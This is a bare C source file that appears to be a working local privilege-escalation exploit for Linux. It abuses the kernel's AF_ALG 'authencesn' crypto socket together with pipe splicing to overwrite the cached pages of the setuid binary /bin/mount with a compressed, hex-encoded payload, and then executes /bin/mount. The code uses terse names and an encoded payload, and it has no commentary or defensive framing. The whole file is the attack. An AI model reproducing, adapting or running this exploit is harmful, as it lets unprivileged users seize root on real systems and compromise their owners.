#define _GNU_SOURCE
 
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <linux/if_alg.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <string.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <fcntl.h>
 #include <zlib.h>
 
 static unsigned char *d(const char *hex, size_t *out_len) {
     size_t len = strlen(hex);
     unsigned char *out = malloc(len / 2);
 
     for (size_t i = 0; i < len / 2; i++) {
         sscanf(hex + (i * 2), "%2hhx", &out[i]);
     }
 
     if (out_len) {
         *out_len = len / 2;
     }
 
     return out;
 }
 
 static int c(int f, size_t t, const unsigned char *c_buf, size_t c_len) {
     int a = socket(AF_ALG, SOCK_SEQPACKET, 0);
     if (a < 0) {
       printf("socket failed\n");
       return -1;
     }
 
     struct sockaddr_alg sa = {
         .salg_family = AF_ALG,
         .salg_type = "aead",
         .salg_name = "authencesn(hmac(sha256),cbc(aes))",
     };
 
     if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
         close(a);
         printf("bind failed\n");
         return -1;
     }
 
     int h = 279;
 
     int (*v)(int, int, int, const void *, socklen_t) = setsockopt;
 
     size_t opt1_len;
     unsigned char *opt1 = d("0800010000000010"
                            "00000000000000000000000000000000"
                            "00000000000000000000000000000000",
                            &opt1_len);
 
     if (v(a, h, 1, opt1, opt1_len) < 0) {
         free(opt1);
         close(a);
         printf("setsockopt/1 failed\n");
         return -1;
     }
     free(opt1);
 
     uint32_t zero = 0;
     if (v(a, h, 5, &zero, sizeof(zero)) < 0) {
         close(a);
         printf("setsockopt/2 failed\n");
         return -1;
     }
 
     int u = accept(a, NULL, NULL);
     if (u < 0) {
         close(a);
         printf("accept failed\n");
         return -1;
     }
 
     size_t o = t + 4;
 
     size_t i_len;
     unsigned char *i = d("00", &i_len);
 
     unsigned char aad[4] = { 'A', 'A', 'A', 'A' };
 
     unsigned char *payload = malloc(4 + c_len);
     memcpy(payload, "AAAA", 4);
     memcpy(payload + 4, c_buf, c_len);
     
     struct iovec iov[1] = {
         { .iov_base = payload, .iov_len = 4 + c_len },
     };
 
     unsigned char op[4] = { 0, 0, 0, 0 };
 
     unsigned char iv[20] = {
         0x10, 0x00, 0x00, 0x00,   /* ivlen = 16 */
         0x00, 0x00, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00
     };
 
     unsigned char assoclen[4] = { 0x08, 0x00, 0x00, 0x00 };
 
     char control[
         CMSG_SPACE(sizeof(op)) +
         CMSG_SPACE(sizeof(iv)) +
         CMSG_SPACE(sizeof(assoclen))
     ];
 
     memset(control, 0, sizeof(control));
 
     struct msghdr msg = {
         .msg_iov = iov,
         .msg_iovlen = 1,
         .msg_control = control,
         .msg_controllen = sizeof(control),
     };
 
     struct cmsghdr *cm;
 
     cm = CMSG_FIRSTHDR(&msg);
     cm->cmsg_level = h;
     cm->cmsg_type = 3;
     cm->cmsg_len = CMSG_LEN(sizeof(op));
     memcpy(CMSG_DATA(cm), op, sizeof(op));
 
     cm = CMSG_NXTHDR(&msg, cm);
     cm->cmsg_level = h;
     cm->cmsg_type = 2;
     cm->cmsg_len = CMSG_LEN(sizeof(iv));
     memcpy(CMSG_DATA(cm), iv, sizeof(iv));
 
     cm = CMSG_NXTHDR(&msg, cm);
     cm->cmsg_level = h;
     cm->cmsg_type = 4;
     cm->cmsg_len = CMSG_LEN(sizeof(assoclen));
     memcpy(CMSG_DATA(cm), assoclen, sizeof(assoclen));
 
     if (sendmsg(u, &msg, MSG_MORE) < 0) {
         free(i);
         close(u);
         close(a);
         printf("sendmsg failed\n");
         return -1;
     } 
 
     int pipefd[2];
 
     if (pipe(pipefd) < 0) {
         free(i);
         close(u);
         close(a);
         printf("pipe failed\n");
         return -1;
     }
 
     int r = pipefd[0];
     int w = pipefd[1];
 
     loff_t off = 0;
     if (splice(f, &off, w, NULL, o, 0) < 0) {
         close(r);
         close(w);
         free(i);
         close(u);
         close(a);
         printf("splice/1 failed\n");
         return -1;
     }
 
     if (splice(r, NULL, u, NULL, o, 0) < 0) {
         perror("splice");
         close(r);
         close(w);
         free(i);
         close(u);
         close(a);
         printf("splice/2 failed\n");
         return -1;
     }
 
     return(0);
 }
 
 int main(int argc, char **argv) {
     int f = open("/bin/mount", O_RDONLY);
     if (f < 0) {
         return -1;
     }
 
     int i = 0;
 
     size_t compressed_len;
     unsigned char *compressed =
	d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b
	7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3", &compressed_len);
 
     unsigned long e_len = 200;
     unsigned char *e = malloc(e_len);
 
     if (uncompress(e, &e_len, compressed, compressed_len) != Z_OK) {
         free(compressed);
         free(e);
         close(f);
         printf("uncompress failed\n");
         return -1;
     }
 
     free(compressed);
 
     while ((size_t)i < e_len) {
         size_t chunk_len = e_len - (size_t)i;
 
         if (chunk_len > 4) {
             chunk_len = 4;
         }
 
         if (c(f, (size_t)i, e + i, chunk_len) < 0) {
             free(e);
             close(f);
             printf("c failed\n");
             return -1;
         }
 
         i += 4;
     }
 
    system("/bin/mount");
 
    return(0);
 }